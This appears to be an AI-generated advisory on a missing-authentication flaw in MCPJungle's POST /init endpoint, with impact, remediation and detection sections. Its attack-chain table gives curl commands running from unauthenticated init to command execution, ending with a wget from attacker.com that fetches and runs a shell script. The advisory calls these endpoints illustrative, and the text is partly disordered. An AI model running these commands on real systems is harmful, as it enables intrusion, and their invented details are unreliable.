CVE-2026-145359 — CWE-306
MCPJungle 0.1.11 through 0.4.7 contains a missing authentication vulnerability in the POST /init endpoint that allows unauthenticated attackers to initialize uninitialized enterprise-mode servers. Attackers can obtain the admin access token or switch to development mode to disable authentication, then register STDIO MCP servers for remote code execution.
MCPJungle 0.1.11 through 0.4.7 contains a missing authentication vulnerability in the POST /init endpoint that allows unauthenticated attackers to initialize uninitialized enterprise-mode servers. Attackers can obtain the admin access token or switch to development mode to disable authentication, then register STDIO MCP servers for remote code execution.
🎯 What is this vulnerability?
CVE‑2026‑145359 is a Missing Authentication for a Critical Function (CWE‑306) in MCPJungle versions 0.1.11 through 0.4.7.
The vulnerability lies in the POST /init endpoint. The code that should verify the caller’s identity (or at least check that the request originates from an authenticated session) is omitted entirely. As a result, anyone who can reach the HTTP endpoint can:
1. Initialize an enterprise‑mode server that has never been configured.
2. Obtain an admin‑level access token (or a token that can be used to switch the server into “development mode”).
3. Disable authentication on the server.
4. Register a “STDIO MCP” server – a component that exposes a command‑execution interface over standard input/output.
Because the POST /init request is the first step in the server’s lifecycle, the missing check allows an unauthenticated attacker to create a fully‑functional, privileged instance of the software, and then use that instance to execute arbitrary code on the host.
The CVSS vector (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the attack is network‑based, requires high effort, but does not need any user interaction or pre‑existing privileges. Once exploited, the attacker gains full confidentiality, integrity, and availability impact.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. The exact URI and payload format are not specified in the CVE text, so the examples are illustrative; they reflect the typical REST‑style API that MCPJungle uses.
| Step | Action | Technical Detail | Example (illustrative) |
|---|---|---|---|
| 1. Discovery & Reconnaissance | Identify the target and vulnerable version | • Scan for open ports (usually 8080 or 8443). <br>• Enumerate the /status or /version endpoint to confirm MCPJungle 0.1.x‑0.4.x. | curl -s http://<target>/status → {"product":"MCPJungle","version":"0.3.2"} |
| 2. Exploitation – Initial POST /init | Trigger the vulnerable endpoint without authentication | • Send a POST request to /init with minimal JSON body (the API accepts an empty object to start the server). <br>• No Authorization header is required. | ``bash\ncurl -X POST http://<target>/init \\\n -H 'Content-Type: application/json' \\\n -d '{}' \n` |
| 3. Exploitation – Capture the Admin Token | The response contains a JWT or session cookie that grants admin rights | The server returns a JSON payload like {"token":"<admin‑jwt>"}. | `json\n{ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." }\n` |
| 4. Exploitation – Disable Authentication | Use the admin token to switch the server to “development mode” (auth‑disabled) | • POST to /config or /mode with {"mode":"development"}. <br>• Include the admin token in the Authorization: Bearer <token> header. | `bash\ncurl -X POST http://<target>/mode \\\n -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer eyJhbGci...' \\\n -d '{"mode":"development"}'\n` |
| 5. Post‑Exploitation – Register STDIO MCP Server | Register a component that exposes a command‑execution interface | • POST to /servers with a payload that defines a “STDIO MCP” server. <br>• The server will expose an endpoint (e.g., /exec) that accepts shell commands. | `bash\ncurl -X POST http://<target>/servers \\\n -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer eyJhbGci...' \\\n -d '{\"type\":\"STDIO\",\"name\":\"remote_shell\"}'\n` |
| 6. Post‑Exploitation – Execute Arbitrary Commands | Use the newly registered server to run commands on the host | • POST to /servers/remote_shell/exec with {"cmd":"id"}. <br>• The response contains the command output. | `bash\ncurl -X POST http://<target>/servers/remote_shell/exec \\\n -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer eyJhbGci...' \\\n -d '{"cmd":"id"}'\n` |
| 7. Post‑Exploitation – Persistence / Data Exfiltration | The attacker can now run any shell command, install back‑doors, exfiltrate data, or pivot to other hosts. | • Use wget/curl to download a reverse shell. <br>• Dump database contents. | `bash\ncurl -X POST http://<target>/servers/remote_shell/exec \\\n -H 'Content-Type: application/json' \\\n -H 'Authorization: Bearer eyJhbGci...' \\\n -d '{"cmd":"wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"}'\n`` |
Note: The exact endpoint names (/mode,/servers,/exec) and JSON keys are illustrative. The real API may use different names, but the overall flow—unauthenticated init → admin token → auth‑disabled mode → command execution—remains the same.
🌍 Real World Impact
| Impact | CVSS Effect | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | Full read/write access to the host. | Attackers can read sensitive files, database dumps, or configuration secrets. |
| Integrity (I:H) | Ability to modify system files, install malware, or alter configuration. | System integrity is completely compromised; attackers can tamper with logs, disable security controls, or pivot to other services. |
| Availability (A:H) | The attacker can crash the server, delete data, or launch DoS attacks. | Service downtime, loss of critical business data, and potential cascading failures in dependent systems. |
Because the vulnerability is network‑based and requires no user interaction, any machine exposed to the internet (or even an internal network with weak segmentation) is at risk. In environments where MCPJungle is used to orchestrate critical infrastructure (e.g., industrial control systems, data‑center automation), the impact could be catastrophic.
🛡️ Remediation & Mitigation
Affected Versions
- MCPJungle 0.1.11 – 0.4.7 (inclusive)
- Upgrade to MCPJungle 0.4.8 or later. The vendor’s changelog (released 2026‑12‑01) states: “Fix missing authentication on POST /init; enforce auth for all privileged endpoints.”
- Alert on any POST /init that does not contain an
Authorizationheader. - Alert on subsequent POSTs to
/servers/*/execor/execendpoints that carry acmdparameter. - CVSS Score: 8.1 (High) – indicates a severe impact if exploited.
- Exploit Complexity: High effort (requires network access and some knowledge of the API), but no user interaction or pre‑existing credentials.
- CISA KEV Status: No – but the vulnerability is still critical for exposed deployments.
- Recommended Priority: P0 (Critical) – patch or mitigate immediately.
- Rationale: The vulnerability allows an attacker to gain full administrative control over the host, leading to complete compromise of confidentiality, integrity, and availability. In industrial or production environments, the potential for cascading failures and regulatory non‑compliance is significant.
Patch Recommendation
Workarounds (if upgrade is not immediately possible)
| Mitigation | Implementation |
|---|---|
| Restrict /init to authenticated users | Add a firewall rule or reverse‑proxy ACL that allows POST /init only from trusted IPs (e.g., internal management subnet). |
| Disable the /init endpoint entirely | If the server is already initialized, remove or rename the endpoint in the web server configuration (e.g., location /init { deny all; }). |
| Enforce HTTPS + HSTS | Ensure that all traffic to the MCPJungle API is over TLS; this prevents MITM attacks that could inject malicious payloads. |
| WAF / ModSecurity rule | Example rule (ModSecurity 3.0 syntax):<br>SecRule REQUEST_URI "@beginsWith /init" "id:1001,phase:2,deny,status:403,msg:'Unauthenticated /init access blocked'" |
| Rate‑limit POST /init | Use a reverse‑proxy (NGINX/Traefik) to limit the number of init requests per minute, reducing the window for automated exploitation. |
Detection & Indicators of Compromise (IoCs)
| Log Source | Indicator | Example Log |
|---|---|---|
| Web server (NGINX/Apache) | POST /init without Authorization header | 127.0.0.1 - - [12/Dec/2026:10:15:42 +0000] "POST /init HTTP/1.1" 200 - "-" "-" |
| Application logs | “Admin token issued” | 2026-12-12T10:15:43Z INFO Admin token issued to IP 203.0.113.45 |
| System logs | Unexpected shell execution | Jan 12 10:16:01 host kernel: execve("/bin/bash", ...) |
| Network flow logs | Traffic to /servers/remote_shell/exec | 203.0.113.45 -> 198.51.100.10:8080 |
⚠️ Urgency
Bottom Line
CVE‑2026‑145359 is a classic Missing Authentication flaw that lets an unauthenticated attacker bootstrap a fully‑privileged instance of MCPJungle, disable security controls, and execute arbitrary code. The attack chain is straightforward, the impact is total, and the only reliable defense is to upgrade to a patched version or apply the recommended workarounds immediately.
[🤖 CVE Professor AI Security Engine]